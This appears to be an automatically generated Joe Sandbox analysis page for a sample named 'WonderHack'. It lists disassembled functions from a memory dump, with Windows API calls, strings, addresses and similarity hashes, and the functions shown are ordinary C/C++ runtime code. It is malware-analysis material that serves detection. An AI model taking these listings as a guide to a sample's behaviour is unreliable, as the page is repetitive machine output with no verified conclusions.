MOC, xrefs: 0019B789
csm, xrefs: 0019B7A1

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 93228b2b417ee4716f84cf0d3640c1d04f17533f5bb345b6443ae0e4442dd658
Instruction ID: 129579320b6f3aa2ade3718e449bb9fc972782eebca59aa6abf4d09c08761b5a
Opcode Fuzzy Hash: 93228b2b417ee4716f84cf0d3640c1d04f17533f5bb345b6443ae0e4442dd658
Instruction Fuzzy Hash: 15210735808305DFCF289F94E6D5B79B7ACEF94720F14461DE4018BAD0DB34AA40CA80

Function 001B6940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,001B69DC,00000000,?,001CD2B0,?,?,?,001B6913,00000004,InitializeCriticalSectionEx,001C0D34,001C0D3C), ref: 001B694D
GetLastError.KERNEL32(?,001B69DC,00000000,?,001CD2B0,?,?,?,001B6913,00000004,InitializeCriticalSectionEx,001C0D34,001C0D3C,00000000,?,001ABBBC), ref: 001B6957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 001B697F

Strings

api-ms-, xrefs: 001B6964

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 78246f3b54a51aa7dae1585b94dca473f5422562f2027be8d6adbea6d670d047
Instruction ID: 38f29103628642bdb8a87e0a762f3fa75e0fe2d1078ebaf9c1d9915bd9e9ddfe
Opcode Fuzzy Hash: 78246f3b54a51aa7dae1585b94dca473f5422562f2027be8d6adbea6d670d047
Instruction Fuzzy Hash: 12E01A30380204BAEF201BA0EC06FAD3E55AB60B95F140420FA4DE88E0DB76EC909944

Function 001B3F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C97C8CFE,00000000,00000000,?), ref: 001B4001

Part of subcall function 001AC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AD895,?,00000000,-00000008), ref: 001AC082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 001B4253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 001B4299
GetLastError.KERNEL32 ref: 001B433C

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 0d4ebf6fd07a32a1e205b3343f195ff08ade7b5c4322aea0812c8939707a7b44
Instruction ID: 189a7c3a846a304c85714ce748d75b097b7efbe4466fe338368e25b7c0230f3b
Opcode Fuzzy Hash: 0d4ebf6fd07a32a1e205b3343f195ff08ade7b5c4322aea0812c8939707a7b44
Instruction Fuzzy Hash: 4DD16875D002589FCF14CFE8D880AEDBBB9FF19314F28816AE556EB652D730A941CB50

Function 001AB295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001AB35C
___AdjustPointer.LIBCMT ref: 001AB37F
___AdjustPointer.LIBCMT ref: 001AB41B

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 41ed51e76641d322254f6487ecc516cda3a3060527f1001fecbee5076a80c3e2
Instruction ID: a67d7b302ed2ee017df592f2ae81737d7586d80cd174f0c317f802e3abf920bc
Opcode Fuzzy Hash: 41ed51e76641d322254f6487ecc516cda3a3060527f1001fecbee5076a80c3e2
Instruction Fuzzy Hash: FC51D379A08682AFDF298F61C8D1BBA77A4FF56710F14412DE94687293D731EC90CB90

Function 00197220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 001972C5
std::_Throw_Cpp_error.LIBCPMT ref: 00197395
std::_Throw_Cpp_error.LIBCPMT ref: 001973A3
std::_Throw_Cpp_error.LIBCPMT ref: 001973B1

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 19214a75fc5b995b2cff135282846c25ed5bc26688b19e3b031cbc656b8503cd
Instruction ID: 18756587ab868083b8c61761894ff6ce9749438f334d9786dc74d7e6054f2ba9
Opcode Fuzzy Hash: 19214a75fc5b995b2cff135282846c25ed5bc26688b19e3b031cbc656b8503cd
Instruction Fuzzy Hash: 3241E1B1A04305DBDF20EB24C981BAAB7F9BF54320F144639E816476D1EB30E954CBD1

Function 00194460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00194495
std::_Lockit::_Lockit.LIBCPMT ref: 001944B2
std::_Lockit::~_Lockit.LIBCPMT ref: 001944D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00194580

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 18fdde897840255cf5cacebc0333230585337398192788344c4c734e19441467
Instruction ID: c30969987ff16854144f2f0f0af9e11e5806d0a7c78f6e829b70d98bc91dbe67
Opcode Fuzzy Hash: 18fdde897840255cf5cacebc0333230585337398192788344c4c734e19441467
Instruction Fuzzy Hash: 9E412371D002288FCF10DF98D845BAEBBB0FB58724F454269E81967391D734AD86CFA1

Function 001B1DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 001AC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AD895,?,00000000,-00000008), ref: 001AC082

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 001B1E2A
__dosmaperr.LIBCMT ref: 001B1E31
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 001B1E6B
__dosmaperr.LIBCMT ref: 001B1E72

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: bbf3e677c6104ba9e5cc5b73c8ba1db957be30c3543bf7120c48e328ff6124a3
Instruction ID: 855d2348fb3928a71668397f29d419717c4f2c2b69d153cab1bdc1157b090057
Opcode Fuzzy Hash: bbf3e677c6104ba9e5cc5b73c8ba1db957be30c3543bf7120c48e328ff6124a3
Instruction Fuzzy Hash: A921F275600205BFDB22AFA5CC94DABBBA9FF253647528519FC19D3140E730ED00CBA0

Function 001A2BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1133b8434445b0456f6f42ddcb987687820e2060c2bd110333a7a09558c511d
Instruction ID: 34410f6d940f536737ecb47aa26c951515e677bc31ebd53f290aba1c63c7b3fa
Opcode Fuzzy Hash: e1133b8434445b0456f6f42ddcb987687820e2060c2bd110333a7a09558c511d
Instruction Fuzzy Hash: 0E21AC79204205AF9B21AF7D8C80D6BB7A9FF62374B114929F859D7654EB30EC4087A0

Function 001B31BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001B31C6

Part of subcall function 001AC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AD895,?,00000000,-00000008), ref: 001AC082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001B31FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001B321E

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 2b3a085d3f2742ae2909500a39c3c0715b022151089af6386a574122c5e3380a
Instruction ID: ee090600230325525ee812177d95af9a0f194d03ac014d6828982538f663dff9
Opcode Fuzzy Hash: 2b3a085d3f2742ae2909500a39c3c0715b022151089af6386a574122c5e3380a
Instruction Fuzzy Hash: 0711D2B9A051157EA72127B55CCACFF6E6CDEAA3A47110064FA12D1102FF74EF5081B1

Function 0019E892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0019E899
std::_Lockit::_Lockit.LIBCPMT ref: 0019E8A3
int.LIBCPMT ref: 0019E8BA

Part of subcall function 0019C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0019C1F6
Part of subcall function 0019C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0019C210

std::_Lockit::~_Lockit.LIBCPMT ref: 0019E914

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 2cc512037b477db54d9f96aa23a54c191e271abec08227ab4ba81646a2395ffa
Instruction ID: f307c0d96f0407ad33e857804fcb5d1047c6638969240c3eaf9fd59c96ec03ea
Opcode Fuzzy Hash: 2cc512037b477db54d9f96aa23a54c191e271abec08227ab4ba81646a2395ffa
Instruction Fuzzy Hash: 7D11C431900215DBCF05EFA4C945ABD7BB1BFA4718F250119E415AB291CF74AE41CBC1

Function 001BADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,001BA2EF,00000000,00000001,00000000,?,?,001B4390,?,00000000,00000000), ref: 001BADB7
GetLastError.KERNEL32(?,001BA2EF,00000000,00000001,00000000,?,?,001B4390,?,00000000,00000000,?,?,?,001B3CD6,00000000), ref: 001BADC3

Part of subcall function 001BAE20: CloseHandle.KERNEL32(FFFFFFFE,001BADD3,?,001BA2EF,00000000,00000001,00000000,?,?,001B4390,?,00000000,00000000,?,?), ref: 001BAE30

___initconout.LIBCMT ref: 001BADD3

Part of subcall function 001BADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,001BAD91,001BA2DC,?,?,001B4390,?,00000000,00000000,?), ref: 001BAE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,001BA2EF,00000000,00000001,00000000,?,?,001B4390,?,00000000,00000000,?), ref: 001BADE8

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1a9f4ea7efaa7f4fd817913f1dd4ec8ad55924a9cdc524c13b565c86e306cf5e
Instruction ID: 84590b553f8de31633df96834600c7fd09da23f21ec8b9ef0185d762492feab4
Opcode Fuzzy Hash: 1a9f4ea7efaa7f4fd817913f1dd4ec8ad55924a9cdc524c13b565c86e306cf5e
Instruction Fuzzy Hash: 90F01C36500118BFCF222FD5EC09DDA7F26FF087A1B404011FA0986520DB32CCA0AB91

Function 001A04F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 001A0507
GetCurrentThreadId.KERNEL32 ref: 001A0516
GetCurrentProcessId.KERNEL32 ref: 001A051F
QueryPerformanceCounter.KERNEL32(?), ref: 001A052C

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1bd49a7edc45c249947ed0d3b5e561b82aa6e254bc713ae60809af8e8ca8fdc9
Instruction ID: 26b336e39d212f28d484221d480cfe9043bcc59c2847d4b961d8f40d69947c6f
Opcode Fuzzy Hash: 1bd49a7edc45c249947ed0d3b5e561b82aa6e254bc713ae60809af8e8ca8fdc9
Instruction Fuzzy Hash: 48F05F74D1020DEBCB00DBB4DA8999EBBF4FF1C200B914995A452E6510EA34AA849B50

Function 001B0976 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,001A5BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 001B0A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,001A5BD5,?,?,?,00000055,?,-00000050,?,?), ref: 001B0A6C

Strings

utf8, xrefs: 001B0B3E

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 4305d9470879e024b2835d94e843b472ffce3682a70f4eb3fb42a56802dc5706
Instruction ID: 46bc9fb516db984f4df6a96ce8b85da01cb50194057ba5fd8a361f0ee42c0d33
Opcode Fuzzy Hash: 4305d9470879e024b2835d94e843b472ffce3682a70f4eb3fb42a56802dc5706
Instruction Fuzzy Hash: 65510835600305EADB26AB75CD82FFBB3A8EF1D704F154829F54997082F770E98087A5

Function 001973E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00197526
___std_exception_copy.LIBVCRUNTIME ref: 00197561

Part of subcall function 0019AF37: CreateThreadpoolWork.KERNEL32(0019B060,00198A2A,00000000), ref: 0019AF46
Part of subcall function 0019AF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0019AF53

Strings

Fail to schedule the chore!, xrefs: 00197551, 00197560

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!
API String ID: 3683891980-3313369819
Opcode ID: 801af8c39cec9add2da3dfdf24367f220e018fb35fed3f2339b273c23175b8a9
Instruction ID: ac648f977fb8c145c5b3395ac3aef6c4914e04578c5cf13769f523a79768fc91
Opcode Fuzzy Hash: 801af8c39cec9add2da3dfdf24367f220e018fb35fed3f2339b273c23175b8a9
Instruction Fuzzy Hash: 685188B4900218DFCF05DF94D948BAEBBB1FF08324F144129E819AB391E776AA05CF91

Function 001AB992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,001AB893,?,?,00000000,00000000,00000000,?), ref: 001AB9B7

Strings

RCC, xrefs: 001AB9D1
MOC, xrefs: 001AB9C9

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: cbf1ef39717e2110aea5435fcd01fe5892e24f7c29667c3385e97133fe27ce40
Instruction ID: 139a1ff892618b963d4a8deda02d1797f321018777c63ab3df39d0f956422a5a
Opcode Fuzzy Hash: cbf1ef39717e2110aea5435fcd01fe5892e24f7c29667c3385e97133fe27ce40
Instruction Fuzzy Hash: A9417A7A900249AFCF16DF94CC81AEEBBB5FF4A304F188199FA14A7212D3359D50DB91

Function 00193E90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00193EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 00194002

Part of subcall function 0019ABC5: _Yarn.LIBCPMT ref: 0019ABE5
Part of subcall function 0019ABC5: _Yarn.LIBCPMT ref: 0019AC09

Strings

bad locale name, xrefs: 00193F46

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
